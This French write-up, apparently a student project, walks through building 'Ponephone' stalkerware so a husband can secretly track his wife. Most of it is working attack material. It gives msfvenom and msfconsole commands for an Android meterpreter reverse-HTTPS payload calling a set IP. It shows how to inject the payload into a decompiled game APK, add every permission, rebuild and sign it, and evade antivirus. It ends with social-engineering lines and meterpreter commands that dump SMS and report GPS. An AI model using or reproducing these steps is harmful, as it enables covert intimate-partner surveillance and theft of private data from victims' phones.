Une touche de poesie comme Ahmed nous a appris:
Tous les hommes sont menteurs, inconstants, faux, bavards, hypocrites, orgueilleux et lâches, méprisables et sensuels ; toutes les femmes sont perfides, artificieuses, vaniteuses, curieuses et dépravées ; le monde n’est qu’un égout sans fond où les phoques les plus informes rampent et se tordent sur des montagnes de fange ; mais s’il y a au monde une chose sainte et sublime, c’est l’union de deux de ces êtres si imparfaits et si affreux." Alfred De Musset
Mr et Mrs Smith, ignorent l'un et l'autre la profession de l'autre et cherchent à savoir...
Pourquoi? Parce qu'il fallait créer un projet fil rouge. Parmi les projets fil rouges proposés, j'ai pu choisir de créer un malware en ruby. Par ce que je ne connaissais par le langage ruby et que cela me tentait d'apprendre. Ce fil rouge a été l'occasion.
"Conception d'un malware ... Je vous laisse le choix d'imaginer une cible potentielle et un mode d'opération assez simple. Développement d'un exploit sous Metasploit (Maitrise du langage Ruby) ".
L'idée est d'utiliser un payload existant (principe d'encapsulation de la programmation objet), le modifier, puis reprogrammer sa façon de fonctionner.
Comment Mr Smith peut-il espionner Mrs Smith?
Par Facebook?
Suite au scandale de Campridge Analytica, les utilisateurs postent de moins en moins d'informations sur les réseaux sociaux.
Parce que « Les numéros de téléphone mobile sont encore meilleurs que les numéros de sécurité sociale pour identifier les personnes. »
https://www.metadosi.fr/comment-facebook-vous-espionne/
Pourquoi ne pas faire comme Facebook?
Comment Mr Smith peut-il espionner sa femme plus efficacement qu'avec Facebook?
La solution...
La solution: le Ponephone
Le dernier téléphone portable à la mode que Mr Smith offre à son épouse Mrs Smith
St Valentin, Noces d'argent, Fête des mères, etc...
Principe du Ponephone
-> Fourni avec le jeu "Ponemongo 2 le retour" ! <-
Le ponephone est un telephone portable de série classique
Infesté par des applications ciblées, dont la victime se sert quotidiennement, ou une des applications les plus utilisées.
Voir les "top apps" et "top games" .
Ou une application, par exemple le jeu "Ponemongo" et son installation ici
Les fonctionnalités du Ponephone
Récupération des éléments suivants:
-localisation du telephone, coordonnées GPS avec latitude, longitude, pour savoir si Mrs Smith n'est pas tout le temps chez son amant.
-journal des appels
-sms
-contacts
-etc...
Bonus:
-lancement d'un cheval de troie, shell, terminal, cmd, pour lancer les commandes à distance: prises de photos...
Génération du malware
Utilisation du framework METASPLOIT avec MSFVENOM
msfconsole start
use exploit/multi/handler
set payload android/meterpreter/reverse_https
set LHOST 86.140.39.25
set LPORT 666
exploit
msfvenom -p android/meterpreter/reverse_https LHOST=86.140.39.25 LPORT=666 -o meterpreter.apk R > ponemongo_malware.apk
Décompilation de l'application originale saine existante
Un APK est un ZIP. MAis pour décompiler et pouvoir ensuite recompiler sans soucis, il faut respecter EXACTEMENT le format zip (4-byte boundaries) Utilisation de Zipalign pour
https://developer.android.com/studio/command-line/zipalign
apt-get install zipalign
Smali, désassemblage .dex
Dex2jar, décodage des resources, .dex, réassemblage application en archives .jar executables java
JD-GUI, décompilation des fichiers .class (fichiers executables par la JVM) en .java
Androguard, analyse des applications Android reverse-engineering DEX désassembleur/Décompilateur DEX, ODEX (AndroPyTool, AppKnox, Cuckoo Sandbox, Droidbot, Droidstatx, εxodus, F-Droid Server, gplaycli, Koodous, MobSF, qiew, Viper Framework)
ApkAnalyser est un outil (c) SONY, d'analyse de code statique et virtuel pour examiner et valider le travail de développement d'une application Android. C'est une chaîne d'outils complète. Monitoring de l'installation de l'application. ApkAnalyser prend également en charge l'analyse des ressources, le décodage XML, les recherches des références des ressources et détection des problèmes potentiels dans une application.
et... APKTOOL Reverse engineer APK files
https://ibotpeaches.github.io/Apktool/documentation/
http://androidcracking.blogspot.com/search/label/smali
http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html
http://webchat.freenode.net/?channels=smali
http://forum.xda-developers.com/showthread.php?t=777707
http://www.slideshare.net/paller/understanding-the-dalvik-bytecode-with-the-dedexer-tool
http://sites.google.com/site/haynesmathew/home/projects/dalvik-notes
http://jasmin.sourceforge.net/guide.html
http://groups.google.com/group/apktool?pli=1
https://github.com/JesusFreke/smali/wiki/smalidea
sudo apktool d ponemongo-original.apk
sudo apktool d ponemongo-original-test010618.apk
il cree un repertoire pentestlab avec tous les fichiers décompilés à l’interieur
classes.dex
resources.arsc
AndroidManifest.xml
apktool.yml :
!!brut.androlib.meta.MetaInfo |
original
res
smali
0b1db0a@surface:~/Documents/metasploit$ apktool d ponemongo.apk |
On met tous les droits pour ne pas ere ennuyés:
sudo chmod -R 777 ponemongo-original.apk
sudo chmod -R 777 ponemongo-malware-010618
Décompilation de l'application malware msfvenom metasploit
Le Payload.smali qui contient le shellcode:
# direct methods const/16 v0, 0x2004 new-array v0, v0, [B fill-array-data v0, :array_0 sput-object v0, Lcom/metasploit/stage/Payload;->a:[B return-void :array_0 ... |
Fusion des 2 applications : copie du malware dans l'application décompilée
Copie des fichiers
/Documents/metasploit/pentestlab/smali/com/metasploit/stage
dans
/Documents/metasploit/ponemongo/smali/com/metasploit/stage
en créant les repertoires si besoin
Injection du hook pour que l'application décompilée lance le malware
On va injecter dans la séquence d’insctuctions, une nouvelle instruction qui va lancer le payload et ensuite lancer l’application, comme si de rien n’était, de façon transparente.
Exemple de fichier smali décompilé: MainActivity.smali
.class public Lcom/ponemongo/stage/MainActivity;
invoke-direct {p0}, Landroid/app/Activity;-><init>()V return-void
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V invoke-static {p0}, Lcom/metasploit/stage/MainService;->startService(Landroid/content/Context;)V invoke-virtual {p0}, Lcom/metasploit/stage/MainActivity;->finish()V return-void |
Trouver dans le manifest.xml l’activity qui est lancée en premier
C’est de l’assembly markup langage.
cd /pentester/Documents/metasploit/ponemongo/
gedit /pentester/Documents/metasploit/ponemongo/AndroidManifest.xml
chercher “Activity” et “@string/app_name” qui nous donne la 1ere activity lancée
cTRL+F, on trouve:
<activity android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestScreenSize" android:label="@string/app_name" android:name="fr.consultingit.pwnezmoi.Pwne_les_tous$Lanceur" android:screenOrientation="sensor" android:theme="@style/Theme.AppCompat.Light.NoActionBar.Translucent">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
trouver le 1er smali qui lance le code par exemple
cd /pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi
gedit /pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/Pwne_les_tous.smali
dans
/pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/R.Smali
/pentester/Documents/metasploit/ponemongo/smali/fr/consultingit/pwnezmoi/BuildConfig.smali
Il y a le fameux: invoke-direct {p0}, Ljava/lang/Object;→<init>()V
Injection des permissions
Les applications demandent généralement à l'utilisateur si elles ont l'autorisation, la permission d'utiliser les composants et fonctionnalités d'Android:
On va donner automatiquement tous les droits à notre application: la méthode radicale, on les insère toutes pour être tranquille:
Modification du fichier APK>AndroidManifest.xml
<uses-permission android:name="android.permission.ACCESS_CHECKIN_PROPERTIES"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_SURFACE_FLINGER"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCOUNT_MANAGER"/>
<uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS"/>
<uses-permission android:name="android.permission.BATTERY_STATS"/>
<uses-permission android:name="android.permission.BIND_APPWIDGET"/>
<uses-permission android:name="android.permission.BIND_DEVICE_ADMIN"/>
<uses-permission android:name="android.permission.BIND_INPUT_METHOD"/>
<uses-permission android:name="android.permission.BIND_REMOTEVIEWS"/>
<uses-permission android:name="android.permission.BIND_WALLPAPER"/>
<uses-permission android:name="android.permission.BLUETOOTH"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
<uses-permission android:name="android.permission.BRICK"/>
<uses-permission android:name="android.permission.BROADCAST_PACKAGE_REMOVED"/>
<uses-permission android:name="android.permission.BROADCAST_SMS"/>
<uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<uses-permission android:name="android.permission.BROADCAST_WAP_PUSH"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.CALL_PRIVILEGED"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.CHANGE_COMPONENT_ENABLED_STATE"/>
<uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
<uses-permission android:name="android.permission.CLEAR_APP_USER_DATA"/>
<uses-permission android:name="android.permission.CONTROL_LOCATION_UPDATES"/>
<uses-permission android:name="android.permission.DELETE_CACHE_FILES"/>
<uses-permission android:name="android.permission.DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.DEVICE_POWER"/>
<uses-permission android:name="android.permission.DIAGNOSTIC"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.DUMP"/>
<uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
<uses-permission android:name="android.permission.FACTORY_TEST"/>
<uses-permission android:name="android.permission.FLASHLIGHT"/>
<uses-permission android:name="android.permission.FORCE_BACK"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.GLOBAL_SEARCH"/>
<uses-permission android:name="android.permission.HARDWARE_TEST"/>
<uses-permission android:name="android.permission.INJECT_EVENTS"/>
<uses-permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
<uses-permission android:name="android.permission.MANAGE_APP_TOKENS"/>
<uses-permission android:name="android.permission.MASTER_CLEAR"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE"/>
<uses-permission android:name="android.permission.MOUNT_FORMAT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_FRAME_BUFFER"/>
<uses-permission android:name="android.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.READ_INPUT_STATE"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission android:name="android.permission.REBOOT"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.RECEIVE_MMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<uses-permission android:name="android.permission.RESTART_PACKAGES"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.SET_ACTIVITY_WATCHER"/>
<uses-permission android:name="android.permission.SET_ALARM"/>
<uses-permission android:name="android.permission.SET_ALWAYS_FINISH"/>
<uses-permission android:name="android.permission.SET_ANIMATION_SCALE"/>
<uses-permission android:name="android.permission.SET_DEBUG_APP"/>
<uses-permission android:name="android.permission.SET_ORIENTATION"/>
<uses-permission android:name="android.permission.SET_POINTER_SPEED"/>
<uses-permission android:name="android.permission.SET_PROCESS_LIMIT"/>
<uses-permission android:name="android.permission.SET_TIME"/>
<uses-permission android:name="android.permission.SET_TIME_ZONE"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
<uses-permission android:name="android.permission.SIGNAL_PERSISTENT_PROCESSES"/>
<uses-permission android:name="android.permission.STATUS_BAR"/>
<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_READ"/>
<uses-permission android:name="android.permission.SUBSCRIBED_FEEDS_WRITE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
<uses-permission android:name="android.permission.USE_CREDENTIALS"/>
<uses-permission android:name="android.permission.USE_SIP"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.WRITE_APN_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_GSERVICES"/>
<uses-permission android:name="android.permission.WRITE_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.BIND_TEXT_SERVICE"/>
<uses-permission android:name="android.permission.BIND_VPN_SERVICE"/>
<uses-permission android:name="android.permission.PERSISTENT_ACTIVITY"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.android.browser.permission.READ_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.READ_PROFILE"/>
<uses-permission android:name="android.permission.READ_SOCIAL_STREAM"/>
<uses-permission android:name="android.permission.READ_USER_DICTIONARY"/>
<uses-permission android:name="com.android.alarm.permission.SET_ALARM"/>
<uses-permission android:name="android.permission.SET_PREFERRED_APPLICATIONS"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"/>
<uses-permission android:name="android.permission.WRITE_PROFILE"/>
<uses-permission android:name="android.permission.WRITE_SOCIAL_STREAM"/>
<uses-permission android:name="android.permission.WRITE_USER_DICTIONARY"/>
Ce qui donne maintenant approximativement:
Recompilation de la nouvelle application (2 applications fusionnées)
Je relance apktool, avec b comme “build”:
apktool b /pentester/Documents/metasploit/ponemongo-oroginal/
apktool b /pentester/Documents/metasploit/ponemongo-original-test010618/
I: Using Apktool 2.3.2-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/aapt/linux/aapt (defaulting to $PATH binary)
I: Copying libs... (/lib)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...
Obfuscation de l'application: le malware devient indetectable par les anti-virus
Encoder Shikata Ga Nai pour X86
Shikata Ga Nai signifie « On ne peut rien y faire ». Cette expression a été utilisée lors de la Seconde Guerre Mondiale lorsque les américains occupaient le Japon. Cet algorithme utilise une clé de 4 octets pour encoder le shellcode par le résultat de l’opération xor entre les deux opérandes pré-citées. Après chaque opération la clé est modifiée, soustraite par les prochains 4 octets à encoder (soustraction octet par octet).
Pour Android:
Shellter
https://www.shellterproject.com/
Scripts Metasploit: “ShellterPro_MSF”
Veil-evasion
https://github.com/Veil-Framework/Veil-Evasion
method="version" - return the current Veil-Evasion version number
method="payloads" - return all the currently loaded payloads
method="payload_options"
params="payload_name" - return the options for the specified payload
method="generate"
params=["payload=X",
"outputbase=Y"
"overwrite=Z",
"msfvenom=...",
"LHOST=blah] - generate the specified payload with the given options and returns the path of the generated executable
Tests pour passer les antivirus les plus courants:
avast! Internet Security
69.6%
eScan Antivirus
40.6%
TrustPort Antivirus
24.9%
BullGuard Antivirus
22.1%
F-Secure Internet Security 2014
19.2%
Ad-Aware Pro
18.6%
G Data AntiVirus
17.6%
ESET NOD32 Antivirus
15.7%
Arcavir Antivirus 2014
14.6%
VBA32 Anti-Virus
Signature de la nouvelle application empoisonnée avec le malware
Si pas d’Eclipse/Android studio, et de compilation, creer un keystore manuellement:
A la racine “home” créer le repertoire :
sudo mkdir .android
On va utiliser keytool (une sorte d'openssl )
sudo keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey2 -keypass android -dname "CN=Consultingit Debug,O=Ponemon,C=FR"
ok:
Generating 2,048 bit DSA key pair and self-signed certificate (SHA256withDSA) with a validity of 90 days
for: CN=Consultingit Debug, O=Ponemon, C=FR
[Storing /.android/debug.keystore]
Warning:
The JKS keystore uses a proprietary format. It is recommended to migrate to PKCS12 which is an industry standard format using "keytool -importkeystore -srckeystore /pentester/.android/debug.keystore -destkeystore /pentester/.android/debug.keystore -deststoretype pkcs12".
Déploiement de l'application vérolée sur le Ponephone
Social engineering
Infester une application que la cible utilise régulièrement, exemple: météo, banque, allociné...
Mode d'installation identique à l'installation de l'application Ponemongo
"Ma chérie que tu es belle: regarde cette application comme elle est bien, tu vas l'adorer!"
"Oh oui, oh oui, vas-y, mets-là moi !" (...)
Scripts automatiques modules METASPLOIT Ruby "post exploitation"
Il s'agit de scripts automatiques en RUBY qui une fois l'aplication lancée vont automatiquement recueillir les infomations et effectuer d'autres actions comme:
-recueillir les infos
-masquer l'icone
-effacer les traces
-effacer l'application
-remplacemer l'application vérolée par l'application originale
...
meterpreter > help
meterpreter > sysinfo
meterpreter > ps
meterpreter > pwd
meterpreter > dump_sms
https://www.offensive-security.com/metasploit-unleashed/msf-post-exploitation/
Exemple de lancement d'un script en mode console qui boucle et relance le MainActivity du malware régulièrement, pour renvoyer toutes les minutes la position GPS (sur un android rooté pour rendre le script persistant):
while : do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60000 done |
Les Positions GPS de Mme Smith...
Vous voulez davantage d'infos sur le projet Ponephone? Remplissez ce formulaire de contact